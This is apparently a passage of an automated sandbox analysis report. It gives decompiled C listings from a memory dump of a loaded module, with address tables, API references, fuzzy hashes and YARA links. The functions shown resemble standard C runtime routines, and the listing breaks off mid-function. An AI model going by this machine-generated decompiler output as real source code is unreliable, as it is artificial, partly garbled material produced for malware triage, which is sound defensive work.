				signed int _t75;
				signed int _t77;
				signed int _t78;
				intOrPtr _t80;
				signed int _t81;
				void* _t82;
				signed int _t84;
				void* _t85;
				signed int _t87;
				signed int _t93;
				signed int _t102;
				void* _t104;
				signed int _t107;
				signed int* _t110;
				signed int* _t111;
				intOrPtr* _t113;
				signed int _t118;
				signed int _t120;
				signed int _t123;
				void* _t125;
				signed int _t128;
				void* _t130;
				signed int _t131;
				void* _t135;
				signed int _t139;
				signed int _t145;
				void _t147;
				void* _t148;
				void* _t150;
				void* _t152;
				signed int _t153;
				signed int _t154;
				void* _t155;
				signed int _t156;
				signed int _t157;
				signed int _t158;
				intOrPtr _t159;

				_t139 = __edx;
				_t155 = _a4;
				if(_t155 == 0) {
					_t113 = E6E17BB7E();
					_t159 = 0x16;
					 *_t113 = _t159;
					E6E178929();
					return _t159;
				}
				_push(__edi);
				_t123 = 9;
				memset(_t155, _t61 | 0xffffffff, _t123 << 2);
				_t145 = _a8;
				__eflags = _t145;
				if(_t145 == 0) {
					_t111 = E6E17BB7E();
					_t158 = 0x16;
					 *_t111 = _t158;
					E6E178929();
					_t78 = _t158;
					L12:
					return _t78;
				}
				_push(__ebx);
				__eflags =  *(_t145 + 4);
				if(__eflags <= 0) {
					if(__eflags < 0) {
						L10:
						_t110 = E6E17BB7E();
						_t157 = 0x16;
						 *_t110 = _t157;
						_t78 = _t157;
						L11:
						goto L12;
					}
					__eflags =  *_t145;
					if( *_t145 < 0) {
						goto L10;
					}
				}
				_t64 = 7;
				__eflags =  *(_t145 + 4) - _t64;
				if(__eflags >= 0) {
					if(__eflags > 0) {
						goto L10;
					}
					__eflags =  *_t145 - 0x93406fff;
					if(__eflags > 0) {
						goto L10;
					}
				}
				E6E183419(0, 0, _t139, _t145, _t155, __eflags);
				_v12 = 0;
				_v16 = 0;
				_v8 = 0;
				_t67 = E6E182C4E( &_v12);
				_pop(_t125);
				__eflags = _t67;
				if(_t67 == 0) {
					_t75 = E6E182C7A( &_v16);
					_pop(_t125);
					__eflags = _t75;
					if(_t75 == 0) {
						_t77 = E6E182CA6( &_v8);
						_pop(_t125);
						__eflags = _t77;
						if(_t77 == 0) {
							_t118 =  *(_t145 + 4);
							_t128 =  *_t145;
							__eflags = _t118;
							if(__eflags < 0) {
								L28:
								_push(_t145);
								_t78 = E6E17A536();
								_t130 = _t155;
								__eflags = _t78;
								if(_t78 != 0) {
									goto L11;
								}
								__eflags = _v12;
								asm("cdq");
								_t147 =  *_t155;
								_t120 = _t139;
								if(__eflags == 0) {
									L32:
									_t80 = _v8;
									L33:
									asm("cdq");
									_t148 = _t147 - _t80;
									asm("sbb ebx, edx");
									_t81 = E6E18F470(_t148, _t120, 0x3c, 0);
									 *_t155 = _t81;
									__eflags = _t81;
									if(_t81 < 0) {
										_t148 = _t148 + 0xffffffc4;
										 *_t155 = _t81 + 0x3c;
										asm("adc ebx, 0xffffffff");
									}
									_t82 = E6E18F3C0(_t148, _t120, 0x3c, 0);
									_t121 = _t139;
									asm("cdq");
									_t150 = _t82 +  *(_t155 + 4);
									asm("adc ebx, edx");
									_t84 = E6E18F470(_t150, _t139, 0x3c, 0);
									 *(_t155 + 4) = _t84;
									__eflags = _t84;
									if(_t84 < 0) {
										_t150 = _t150 + 0xffffffc4;
										 *(_t155 + 4) = _t84 + 0x3c;
										asm("adc ebx, 0xffffffff");
									}
									_t85 = E6E18F3C0(_t150, _t121, 0x3c, 0);
									_t122 = _t139;
									asm("cdq");
									_t152 = _t85 +  *(_t155 + 8);
									asm("adc ebx, edx");
									_t87 = E6E18F470(_t152, _t139, 0x18, 0);
									 *(_t155 + 8) = _t87;
									__eflags = _t87;
									if(_t87 < 0) {
										_t152 = _t152 + 0xffffffe8;
										 *(_t155 + 8) = _t87 + 0x18;
										asm("adc ebx, 0xffffffff");
									}
									_t131 = E6E18F3C0(_t152, _t122, 0x18, 0);
									__eflags = _t139;
									if(__eflags < 0) {
										L48:
										 *(_t155 + 0xc) =  *(_t155 + 0xc) + _t131;
										asm("cdq");
										_t153 = 7;
										_t93 =  *(_t155 + 0xc);
										 *(_t155 + 0x18) = ( *(_t155 + 0x18) + 7 + _t131) % _t153;
										__eflags = _t93;
										if(_t93 > 0) {
											goto L43;
										}
										 *((intOrPtr*)(_t155 + 0x10)) = 0xb;
										 *(_t155 + 0xc) = _t93 + 0x1f;
										_t55 = _t131 + 0x16d; // 0x16d
										 *(_t155 + 0x1c) =  *(_t155 + 0x1c) + _t55;
										 *((intOrPtr*)(_t155 + 0x14)) =  *((intOrPtr*)(_t155 + 0x14)) - 1;
										goto L44;
									} else {
										if(__eflags > 0) {
											L42:
											asm("cdq");
											_t154 = 7;
											_t39 = _t155 + 0xc;
											 *_t39 =  *(_t155 + 0xc) + _t131;
											__eflags =  *_t39;
											 *(_t155 + 0x18) = ( *(_t155 + 0x18) + _t131) % _t154;
											L43:
											_t42 = _t155 + 0x1c;
											 *_t42 =  *(_t155 + 0x1c) + _t131;
											__eflags =  *_t42;
											L44:
											_t78 = 0;
											goto L11;
										}
										__eflags = _t131;
										if(_t131 == 0) {
											__eflags = _t139;
											if(__eflags > 0) {
												goto L44;
											}
											if(__eflags < 0) {
												goto L48;
											}
											__eflags = _t131;
											if(_t131 >= 0) {
												goto L44;
											}
											goto L48;
										}
										goto L42;
									}
								}
								_push(_t155);
								_t102 = E6E18346A(_t120, _t130, _t139, _t147, _t155, __eflags);
								__eflags = _t102;
								if(_t102 == 0) {
									goto L32;
								}
								_t80 = _v8 + _v16;
								 *((intOrPtr*)(_t155 + 0x20)) = 1;
								goto L33;
							}
							if(__eflags > 0) {
								L20:
								_t104 = 7;
								__eflags = _t118 - _t104;
								if(__eflags > 0) {
									goto L28;
								}
								if(__eflags < 0) {
									L23:
									asm("cdq");
									_push( &_v24);
									asm("sbb ebx, edx");
									_v24 = _t128 - _v8;
									_v20 = _t118;
									_t78 = E6E17A536();
									_t135 = _t155;
									__eflags = _t78;
									if(_t78 != 0) {
										goto L11;
									}
									__eflags = _v12 - _t78;
									if(__eflags == 0) {
										goto L44;
									}
									_push(_t155);
									_t107 = E6E18346A(_t118, _t135, _t139, _t145, _t155, __eflags);
									__eflags = _t107;
									if(_t107 == 0) {
										goto L44;
									}
									asm("cdq");
									_v24 = _v24 - _v16;
									_push( &_v24);
									asm("sbb [ebp-0x10], edx");
									_push(_t155);
									_t78 = E6E17A536();
									__eflags = _t78;
									if(_t78 != 0) {
										goto L11;
									}
									 *((intOrPtr*)(_t155 + 0x20)) = 1;
									goto L44;
								}
								__eflags = _t128 - 0x933c7b7f;
								if(_t128 >= 0x933c7b7f) {
									goto L28;
								}
								goto L23;
							}
							__eflags = _t128 - 0x3f480;
							if(_t128 <= 0x3f480) {
								goto L28;
							}
							goto L20;
						}
					}
				}
				_push(0);
				_push(0);
				_push(0);
				_push(0);
				_push(0);
				E6E178956();
				asm("int3");
				_push(_t155);
				_t69 = E6E17A4D1(_t125);
				_t156 = _t69;
				__eflags = _t156;
				if(_t156 != 0) {
					_push(_v0);
					_t70 = E6E17A541(0, _t139, _t145, _t156);
					asm("sbb eax, eax");
					_t73 =  !( ~_t70) & _t156;
					__eflags = _t73;
					return _t73;
				}
				return _t69;
			}

0x6e17a541
0x6e17a54a
0x6e17a54f
0x6e17a551
0x6e17a558
0x6e17a559
0x6e17a55b
0x00000000
0x6e17a560
0x6e17a564
0x6e17a56c
0x6e17a56d
0x6e17a56f
0x6e17a572
0x6e17a574
0x6e17a576
0x6e17a57d
0x6e17a57e
0x6e17a580
0x6e17a585
0x6e17a5b6
0x00000000
0x6e17a5b6
0x6e17a589
0x6e17a58c
0x6e17a58f
0x6e17a591
0x6e17a5a9
0x6e17a5a9
0x6e17a5b0
0x6e17a5b1
0x6e17a5b3
0x6e17a5b5
0x00000000
0x6e17a5b5
0x6e17a593
0x6e17a595
0x00000000
0x00000000
0x6e17a595
0x6e17a599
0x6e17a59a
0x6e17a59d
0x6e17a59f
0x00000000
0x00000000
0x6e17a5a1
0x6e17a5a7
0x00000000
0x00000000
0x6e17a5a7
0x6e17a5bc
0x6e17a5c4
0x6e17a5c8
0x6e17a5cb
0x6e17a5ce
0x6e17a5d3
0x6e17a5d4
0x6e17a5d6
0x6e17a5e0
0x6e17a5e5
0x6e17a5e6
0x6e17a5e8
0x6e17a5f2
0x6e17a5f7
0x6e17a5f8
0x6e17a5fa
0x6e17a600
0x6e17a603
0x6e17a605
0x6e17a607
0x6e17a688
0x6e17a688
0x6e17a68a
0x6e17a690
0x6e17a691
0x6e17a693
0x00000000
0x00000000
0x6e17a699
0x6e17a69f
0x6e17a6a0
0x6e17a6a2
0x6e17a6a4
0x6e17a6c0
0x6e17a6c0
0x6e17a6c3
0x6e17a6c3
0x6e17a6c4
0x6e17a6ca
0x6e17a6ce
0x6e17a6d3
0x6e17a6d5
0x6e17a6d7
0x6e17a6dc
0x6e17a6df
0x6e17a6e1
0x6e17a6e1
0x6e17a6ea
0x6e17a6f1
0x6e17a6f6
0x6e17a6f7
0x6e17a6fd
0x6e17a701
0x6e17a706
0x6e17a709
0x6e17a70b
0x6e17a710
0x6e17a713
0x6e17a716
0x6e17a716
0x6e17a71f
0x6e17a726
0x6e17a72b
0x6e17a72c
0x6e17a732
0x6e17a736
0x6e17a73b
0x6e17a73e
0x6e17a740
0x6e17a745
0x6e17a748
0x6e17a74b
0x6e17a74b
0x6e17a759
0x6e17a75b
0x6e17a75d
0x6e17a78a
0x6e17a790
0x6e17a797
0x6e17a798
0x6e17a79b
0x6e17a79e
0x6e17a7a1
0x6e17a7a3
0x00000000
0x00000000
0x6e17a7a8
0x6e17a7af
0x6e17a7b2
0x6e17a7b8
0x6e17a7bb
0x00000000
0x6e17a75f
0x6e17a75f
0x6e17a765
0x6e17a76c
0x6e17a76d
0x6e17a770
0x6e17a770
0x6e17a770
0x6e17a773
0x6e17a776
0x6e17a776
0x6e17a776
0x6e17a776
0x6e17a779
0x6e17a779
0x00000000
0x6e17a779
0x6e17a761
0x6e17a763
0x6e17a780
0x6e17a782
0x00000000
0x00000000
0x6e17a784
0x00000000
0x00000000
0x6e17a786
0x6e17a788
0x00000000
0x00000000
0x00000000
0x6e17a788
0x00000000
0x6e17a763
0x6e17a75d
0x6e17a6a6
0x6e17a6a7
0x6e17a6ad
0x6e17a6af
0x00000000
0x00000000
0x6e17a6b4
0x6e17a6b7
0x00000000
0x6e17a6b7
0x6e17a609
0x6e17a613
0x6e17a615
0x6e17a616
0x6e17a618
0x00000000
0x00000000
0x6e17a61a
0x6e17a624
0x6e17a627
0x6e17a62d
0x6e17a62e
0x6e17a630
0x6e17a634
0x6e17a637
0x6e17a63d
0x6e17a63e
0x6e17a640
0x00000000
0x00000000
0x6e17a646
0x6e17a649
0x00000000
0x00000000
0x6e17a64f
0x6e17a650
0x6e17a656
0x6e17a658
0x00000000
0x00000000
0x6e17a661
0x6e17a662
0x6e17a668
0x6e17a669
0x6e17a66c
0x6e17a66d
0x6e17a674
0x6e17a676
0x00000000
0x00000000
0x6e17a67c
0x00000000
0x6e17a67c
0x6e17a61c
0x6e17a622
0x00000000
0x00000000
0x00000000
0x6e17a622
0x6e17a60b
0x6e17a611
0x00000000
0x00000000
0x00000000
0x6e17a611
0x6e17a5fa
0x6e17a5e8
0x6e17a7c0
0x6e17a7c1
0x6e17a7c2
0x6e17a7c3
0x6e17a7c4
0x6e17a7c5
0x6e17a7ca
0x6e17a7d0
0x6e17a7d1
0x6e17a7d6
0x6e17a7d8
0x6e17a7da
0x6e17a7dc
0x6e17a7e0
0x6e17a7e8
0x6e17a7ed
0x6e17a7ed
0x00000000
0x6e17a7ed
0x6e17a7f1

APIs

__allrem.LIBCMT ref: 6E17A6CE
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6E17A6EA
__allrem.LIBCMT ref: 6E17A701
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6E17A71F
__allrem.LIBCMT ref: 6E17A736
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6E17A754

Memory Dump Source

Source File: 00000002.00000002.444257121.000000006E141000.00000020.00020000.sdmp, Offset: 6E140000, based on PE: true

Associated: 00000002.00000002.444243721.000000006E140000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.444299096.000000006E191000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.444517851.000000006E1BB000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.444564742.000000006E1BD000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.444589305.000000006E252000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.444601210.000000006E254000.00000002.00020000.sdmp Download File

Similarity

API ID: Unothrow_t@std@@@__allrem__ehfuncinfo$??2@
String ID:
API String ID: 1992179935-0
Opcode ID: 520504b090bb9cb9546ed9ea6a19a6dcf88f552744e81d20fbdc98606b361ce4
Instruction ID: 579c9609dcd08efbd42907082bdeb4f544b29c497750791f5c3d9674274e9af2
Opcode Fuzzy Hash: 520504b090bb9cb9546ed9ea6a19a6dcf88f552744e81d20fbdc98606b361ce4
Instruction Fuzzy Hash: 64810BB1A047069BEB30CEF9CC40B9B73BDAF55B64F20492AF511D7280E770D9806B50

Uniqueness

Uniqueness Score: -1.00%

Function 6E185D99, Relevance: 9.2, APIs: 6, Instructions: 216
COMMON

Download Yara Rule

C-Code - Quality: 65%

			E6E185D99(void* __ebx, void* __ecx, void* __edi, void* __esi, intOrPtr* _a4, intOrPtr _a8, signed int _a12, char* _a16, int _a20, intOrPtr _a24, short* _a28, int _a32, intOrPtr _a36) {
				signed int _v8;
				int _v12;
				void* _v24;
				signed int _t49;
				signed int _t54;
				int _t58;
				signed int _t60;
				short* _t62;
				signed int _t66;
				short* _t70;
				int _t71;
				int _t78;
				short* _t81;
				signed int _t87;
				signed int _t90;
				void* _t95;
				void* _t96;
				int _t98;
				short* _t101;
				int _t103;
				signed int _t106;
				short* _t107;
				void* _t110;

				_push(__ecx);
				_push(__ecx);
				_t49 =  *0x6e1bb164; // 0x55e3ddbb
				_v8 = _t49 ^ _t106;
				_push(__esi);
				_t103 = _a20;
				if(_t103 > 0) {
					_t78 = E6E17CE7E(_a16, _t103);
					_t110 = _t78 - _t103;
					_t4 = _t78 + 1; // 0x1
					_t103 = _t4;
					if(_t110 >= 0) {
						_t103 = _t78;
					}
				}
				_t98 = _a32;
				if(_t98 == 0) {
					_t98 =  *( *_a4 + 8);
					_a32 = _t98;
				}
				_t54 = MultiByteToWideChar(_t98, 1 + (0 | _a36 != 0x00000000) * 8, _a16, _t103, 0, 0);
				_v12 = _t54;
				if(_t54 == 0) {
					L38:
					return E6E173D51(_v8 ^ _t106);
				} else {
					_t95 = _t54 + _t54;
					_t85 = _t95 + 8;
					asm("sbb eax, eax");
					if((_t95 + 0x00000008 & _t54) == 0) {
						_t81 = 0;
						__eflags = 0;
						L14:
						if(_t81 == 0) {
							L36:
							_t105 = 0;
							L37:
							E6E1735A7(_t81);
							goto L38;
						}
						_t58 = MultiByteToWideChar(_t98, 1, _a16, _t103, _t81, _v12);
						_t121 = _t58;
						if(_t58 == 0) {
							goto L36;
						}
						_t100 = _v12;
						_t60 = E6E183BB7(_t85, _t103, _t121, _a8, _a12, _t81, _v12, 0, 0, 0, 0, 0);
						_t105 = _t60;
						if(_t105 == 0) {
							goto L36;
						}
						if((_a12 & 0x00000400) == 0) {
							_t96 = _t105 + _t105;
							_t87 = _t96 + 8;
							__eflags = _t96 - _t87;
							asm("sbb eax, eax");
							__eflags = _t87 & _t60;
							if((_t87 & _t60) == 0) {
								_t101 = 0;
								__eflags = 0;
								L30:
								__eflags = _t101;
								if(__eflags == 0) {
									L35:
									E6E1735A7(_t101);
									goto L36;
								}
								_t62 = E6E183BB7(_t87, _t105, __eflags, _a8, _a12, _t81, _v12, _t101, _t105, 0, 0, 0);
								__eflags = _t62;
								if(_t62 == 0) {
									goto L35;
								}
								_push(0);
								_push(0);
								__eflags = _a28;
								if(_a28 != 0) {
									_push(_a28);
									_push(_a24);
								} else {
									_push(0);
									_push(0);
								}
								_t105 = WideCharToMultiByte(_a32, 0, _t101, _t105, ??, ??, ??, ??);
								__eflags = _t105;
								if(_t105 != 0) {
									E6E1735A7(_t101);
									goto L37;
								} else {
									goto L35;
								}
							}
							_t90 = _t96 + 8;
							__eflags = _t96 - _t90;
							asm("sbb eax, eax");
							_t66 = _t60 & _t90;
							_t87 = _t96 + 8;
							__eflags = _t66 - 0x400;
							if(_t66 > 0x400) {
								__eflags = _t96 - _t87;
								asm("sbb eax, eax");
								_t101 = E6E17FBEC(_t87, _t66 & _t87);
								_pop(_t87);
								__eflags = _t101;
								if(_t101 == 0) {
									goto L35;
								}
								 *_t101 = 0xdddd;
								L28:
								_t101 =  &(_t101[4]);
								goto L30;
							}
							__eflags = _t96 - _t87;
							asm("sbb eax, eax");
							E6E174540();
							_t101 = _t107;
							__eflags = _t101;
							if(_t101 == 0) {
								goto L35;
							}
							 *_t101 = 0xcccc;
							goto L28;
						}
						_t70 = _a28;
						if(_t70 == 0) {
							goto L37;
						}
						_t125 = _t105 - _t70;
						if(_t105 > _t70) {
							goto L36;
						}
						_t71 = E6E183BB7(0, _t105, _t125, _a8, _a12, _t81, _t100, _a24, _t70, 0, 0, 0);
						_t105 = _t71;
						if(_t71 != 0) {
							goto L37;
						}
						goto L36;
					}
					asm("sbb eax, eax");
					_t72 = _t54 & _t95 + 0x00000008;
					_t85 = _t95 + 8;
					if((_t54 & _t95 + 0x00000008) > 0x400) {
						__eflags = _t95 - _t85;
						asm("sbb eax, eax");
						_t81 = E6E17FBEC(_t85, _t72 & _t85);
						_pop(_t85);
						__eflags = _t81;
						if(__eflags == 0) {
							goto L36;
						}
						 *_t81 = 0xdddd;
						L12:
						_t81 =  &(_t81[4]);
						goto L14;
					}
					asm("sbb eax, eax");
					E6E174540();
					_t81 = _t107;
					if(_t81 == 0) {
						goto L36;
					}
					 *_t81 = 0xcccc;
					goto L12;
				}
			}

0x6e185d9e
0x6e185d9f
0x6e185da0
0x6e185da7
0x6e185dab
0x6e185dac
0x6e185db2
0x6e185db8
0x6e185dbe
0x6e185dc1
0x6e185dc1
0x6e185dc4
0x6e185dc6
0x6e185dc6
0x6e185dc4
0x6e185dc8
0x6e185dcd
0x6e185dd4
0x6e185dd7
0x6e185dd7
0x6e185df3
0x6e185df9
0x6e185dfe
0x6e185f91
0x6e185fa4
0x6e185e04
0x6e185e04
0x6e185e07
0x6e185e0c
0x6e185e10
0x6e185e64
0x6e185e64
0x6e185e66
0x6e185e68
0x6e185f86
0x6e185f86
0x6e185f88
0x6e185f89
0x00000000
0x6e185f8f
0x6e185e79
0x6e185e7f
0x6e185e81
0x00000000
0x00000000
0x6e185e87
0x6e185e99
0x6e185e9e
0x6e185ea2
0x00000000
0x00000000
0x6e185eaf
0x6e185ee9
0x6e185eec
0x6e185eef
0x6e185ef1
0x6e185ef3
0x6e185ef5
0x6e185f41
0x6e185f41
0x6e185f43
0x6e185f43
0x6e185f45
0x6e185f7f
0x6e185f80
0x00000000
0x6e185f85
0x6e185f59
0x6e185f5e
0x6e185f60
0x00000000
0x00000000
0x6e185f64
0x6e185f65
0x6e185f66
0x6e185f69
0x6e185fa5
0x6e185fa8
0x6e185f6b
0x6e185f6b
0x6e185f6c
0x6e185f6c
0x6e185f79
0x6e185f7b
0x6e185f7d
0x6e185fae
0x00000000
0x00000000
0x00000000
0x00000000
0x6e185f7d
0x6e185ef7
0x6e185efa
0x6e185efc
0x6e185efe
0x6e185f00
0x6e185f03
0x6e185f08
0x6e185f23
0x6e185f25
0x6e185f2f
0x6e185f31
0x6e185f32
0x6e185f34
0x00000000
0x00000000
0x6e185f36
0x6e185f3c
0x6e185f3c
0x00000000
0x6e185f3c
0x6e185f0a
0x6e185f0c
0x6e185f10
0x6e185f15
0x6e185f17
0x6e185f19
0x00000000
0x00000000
0x6e185f1b
0x00000000
0x6e185f1b
0x6e185eb1
0x6e185eb6
0x00000000
0x00000000
0x6e185ebc
0x6e185ebe
0x00000000
0x00000000
0x6e185ed5
0x6e185eda
0x6e185ede
0x00000000
0x00000000
0x00000000
0x6e185ee4
0x6e185e17
0x6e185e19
0x6e185e1b
0x6e185e23
0x6e185e42
0x6e185e44
0x6e185e4e
0x6e185e50
0x6e185e51
0x6e185e53
0x00000000
0x00000000
0x6e185e59
0x6e185e5f
0x6e185e5f
0x00000000
0x6e185e5f
0x6e185e27
0x6e185e2b
0x6e185e30
0x6e185e34
0x00000000
0x00000000
0x6e185e3a
0x00000000
0x6e185e3a

APIs

MultiByteToWideChar.KERNEL32(00000001,00000000,?,?,00000000,00000000,?,6E179ACC,6E179ACC,?,?,?,6E185FEA,00000001,00000001,82E85006), ref: 6E185DF3
MultiByteToWideChar.KERNEL32(00000001,00000001,?,?,00000000,?,?,?,?,6E185FEA,00000001,00000001,82E85006,?,?,?), ref: 6E185E79
WideCharToMultiByte.KERNEL32(00000001,00000000,00000000,00000000,?,82E85006,00000000,00000000,?,00000400,00000000,?,00000000,00000000,00000000,00000000), ref: 6E185F73
__freea.LIBCMT ref: 6E185F80

Part of subcall function 6E17FBEC: RtlAllocateHeap.NTDLL(00000000,0000060B,?,?,6E173D1F,0000060B,?,6E1673C4,0000060B), ref: 6E17FC1E

__freea.LIBCMT ref: 6E185F89
__freea.LIBCMT ref: 6E185FAE

Memory Dump Source

Source File: 00000002.00000002.444257121.000000006E141000.00000020.00020000.sdmp, Offset: 6E140000, based on PE: true

Associated: 00000002.00000002.444243721.000000006E140000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.444299096.000000006E191000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.444517851.000000006E1BB000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.444564742.000000006E1BD000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.444589305.000000006E252000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.444601210.000000006E254000.00000002.00020000.sdmp Download File

Similarity

API ID: ByteCharMultiWide__freea$AllocateHeap
String ID:
API String ID: 1414292761-0
Opcode ID: d8f00ec54ba4f6cac9d2d2165c70ac0ebdeb3afcb153db3133486886851f7420
Instruction ID: 160bbb3d2a14ea5b5178b8bfe937c5bee79f126a9fa75fb8a9a67c2bd5d043f8
Opcode Fuzzy Hash: d8f00ec54ba4f6cac9d2d2165c70ac0ebdeb3afcb153db3133486886851f7420
Instruction Fuzzy Hash: 3451C172610216AFEB158EE4CC54EEB7BAAEF64654F254628FC16D7180EB34DCC0EA50

Uniqueness

Uniqueness Score: -1.00%

Function 6E1708B0, Relevance: 9.2, APIs: 6, Instructions: 186
COMMON

Download Yara Rule

C-Code - Quality: 81%

			E6E1708B0(intOrPtr* __ecx, void* __edi, void* __esi, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, signed int _a20, signed int _a24) {
				intOrPtr _v8;
				char _v16;
				signed int _v20;
				char _v44;
				char _v68;
				char _v92;
				intOrPtr* _v96;
				intOrPtr _v100;
				intOrPtr _v104;
				intOrPtr _v108;
				intOrPtr _v112;
				intOrPtr _v116;
				intOrPtr _v120;
				signed int _v124;
				signed int _v128;
				signed int _v132;
				char _v140;
				char _v148;
				char _v156;
				signed int _t86;
				signed int _t87;
				intOrPtr _t93;
				signed int _t101;
				void* _t103;
				intOrPtr* _t107;
				intOrPtr* _t117;
				void* _t118;
				void* _t119;
				void* _t120;
				signed int _t171;
				signed int _t188;
				void* _t189;
				void* _t190;
				void* _t191;

				_push(0xffffffff);
				_push(0x6e18ff73);
				_push( *[fs:0x0]);
				_t190 = _t189 - 0x8c;
				_t86 =  *0x6e1bb164; // 0x55e3ddbb
				_t87 = _t86 ^ _t188;
				_v20 = _t87;
				_push(_t87);
				 *[fs:0x0] =  &_v16;
				_v96 = __ecx;
				if((E6E170E40(_a16) & 0x00004000) != 0) {
					_v112 = E6E170F40(_a16, __eflags,  &_v140);
					_v116 = _v112;
					_v8 = 0;
					_t93 = E6E169990(__edi, __eflags, _v116);
					_t191 = _t190 + 4;
					_v104 = _t93;
					_v8 = 0xffffffff;
					E6E16AA70( &_v140);
					E6E169D30();
					_v8 = 1;
					__eflags = _a24 & 0x000000ff;
					if((_a24 & 0x000000ff) == 0) {
						_v124 = E6E170DE0(_v104,  &_v92);
						_t171 = _v124;
						E6E16FD80( &_v44, _t171);
						E6E16A720();
					} else {
						_t171 =  &_v68;
						_v120 = E6E171590(_v104, _t171);
						E6E16FD80( &_v44, _v120);
						E6E16A720();
					}
					_v132 = E6E171680(_a16);
					_v128 = _t171;
					__eflags = _v128;
					if(__eflags < 0) {
						L10:
						_v108 = 0;
					} else {
						if(__eflags > 0) {
							L8:
							_t118 = E6E171680(_a16);
							_t119 = E6E1710F0( &_v44);
							__eflags = _t118 - _t119;
							if(_t118 <= _t119) {
								goto L10;
							} else {
								_t120 = E6E171680(_a16);
								_v108 = _t120 - E6E1710F0( &_v44);
							}
						} else {
							__eflags = _v132;
							if(_v132 <= 0) {
								goto L10;
							} else {
								goto L8;
							}
						}
					}
					_v100 = _v108;
					_t101 = E6E170E40(_a16);
					__eflags = (_t101 & 0x000001c0) - 0x40;
					if((_t101 & 0x000001c0) != 0x40) {
						_t117 = E6E16F450(_v96,  &_v148, _a8, _a12, _a20 & 0x000000ff, _v100);
						_t191 = _t191 + 0x18;
						_a8 =  *_t117;
						_a12 =  *((intOrPtr*)(_t117 + 4));
						_v100 = 0;
					}
					_t103 = E6E1710F0( &_v44);
					_t107 = E6E16F400(_v96,  &_v156, _a8, _a12, E6E16FF60(), _t103);
					_a8 =  *_t107;
					_a12 =  *((intOrPtr*)(_t107 + 4));
					E6E171640(_a16, 0, 0);
					E6E16F450(_v96, _a4, _a8, _a12, _a20 & 0x000000ff, _v100);
					_v8 = 0xffffffff;
					E6E16A720();
				} else {
					 *((intOrPtr*)( *((intOrPtr*)( *_v96 + 0x24))))(_a4, _a8, _a12, _a16, _a20 & 0x000000ff, _a24 & 0x000000ff);
				}
				 *[fs:0x0] = _v16;
				return E6E173D51(_v20 ^ _t188);
			}

0x6e1708b3
0x6e1708b5
0x6e1708c0
0x6e1708c1
0x6e1708c7
0x6e1708cc
0x6e1708ce
0x6e1708d2
0x6e1708d6
0x6e1708dc
0x6e1708ec
0x6e170931
0x6e170937
0x6e17093a
0x6e170945
0x6e17094a
0x6e17094d
0x6e170950
0x6e17095d
0x6e170965
0x6e17096a
0x6e170975
0x6e170977
0x6e1709aa
0x6e1709ad
0x6e1709b4
0x6e1709bc
0x6e170979
0x6e170979
0x6e170985
0x6e17098f
0x6e170997
0x6e170997
0x6e1709c9
0x6e1709cc
0x6e1709cf
0x6e1709d3
0x6e170a0c
0x6e170a0c
0x6e1709d5
0x6e1709d5
0x6e1709dd
0x6e1709e0
0x6e1709ea
0x6e1709ef
0x6e1709f1
0x00000000
0x6e1709f3
0x6e1709f6
0x6e170a07
0x6e170a07
0x6e1709d7
0x6e1709d7
0x6e1709db
0x00000000
0x00000000
0x00000000
0x00000000
0x6e1709db
0x6e1709d5
0x6e170a16
0x6e170a1c
0x6e170a26
0x6e170a29
0x6e170a47
0x6e170a4c
0x6e170a54
0x6e170a57
0x6e170a5a
0x6e170a5a
0x6e170a64
0x6e170a86
0x6e170a93
0x6e170a96
0x6e170aa0
0x6e170abe
0x6e170ac6
0x6e170ad0
0x6e1708ee
0x6e170913
0x6e170915
0x6e170adb
0x6e170af1

APIs

std::ios_base::getloc.LIBCPMTD ref: 6E17092C
_Mpunct.LIBCPMTD ref: 6E170980
shared_ptr.LIBCMTD ref: 6E17098F

Memory Dump Source

Source File: 00000002.00000002.444257121.000000006E141000.00000020.00020000.sdmp, Offset: 6E140000, based on PE: true

Associated: 00000002.00000002.444243721.000000006E140000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.444299096.000000006E191000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.444517851.000000006E1BB000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.444564742.000000006E1BD000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.444589305.000000006E252000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.444601210.000000006E254000.00000002.00020000.sdmp Download File

Similarity

API ID: Mpunctshared_ptrstd::ios_base::getloc
String ID:
API String ID: 2231573426-0
Opcode ID: b843d883a45a4d12744ad30d4821803a1bcf97133a10523bd095b066c469f932
Instruction ID: c6263bb2ab569137f55dfeea4fab37223f205ee6b471ebaba1812ac0fd7b72ef
Opcode Fuzzy Hash: b843d883a45a4d12744ad30d4821803a1bcf97133a10523bd095b066c469f932
Instruction Fuzzy Hash: 127110B19042189FCF14DFE8C890ADEB7B9BF48754F148519F419AB290EB30AD95DF50

Uniqueness

Uniqueness Score: -1.00%

Function 6E177257, Relevance: 9.1, APIs: 6, Instructions: 60
COMMON

Download Yara Rule

C-Code - Quality: 79%

			E6E177257(void* __ecx) {
				void* _t4;
				void* _t11;
				void* _t16;
				long _t25;
				void* _t28;

				if( *0x6e1bb180 != 0xffffffff) {
					_t25 = GetLastError();
					_t11 = E6E17848B(__eflags,  *0x6e1bb180);
					__eflags = _t11 - 0xffffffff;
					if(_t11 == 0xffffffff) {
						L5:
						_t11 = 0;
					} else {
						__eflags = _t11;
						if(__eflags == 0) {
							_t4 = E6E1784C6(__eflags,  *0x6e1bb180, 0xffffffff);
							_pop(_t16);
							__eflags = _t4;
							if(_t4 != 0) {
								_push(0x28);
								_push(1);
								_t28 = E6E178989(_t16);
								__eflags = _t28;
								if(__eflags == 0) {
									L8:
									_t11 = 0;
									E6E1784C6(__eflags,  *0x6e1bb180, 0);
								} else {
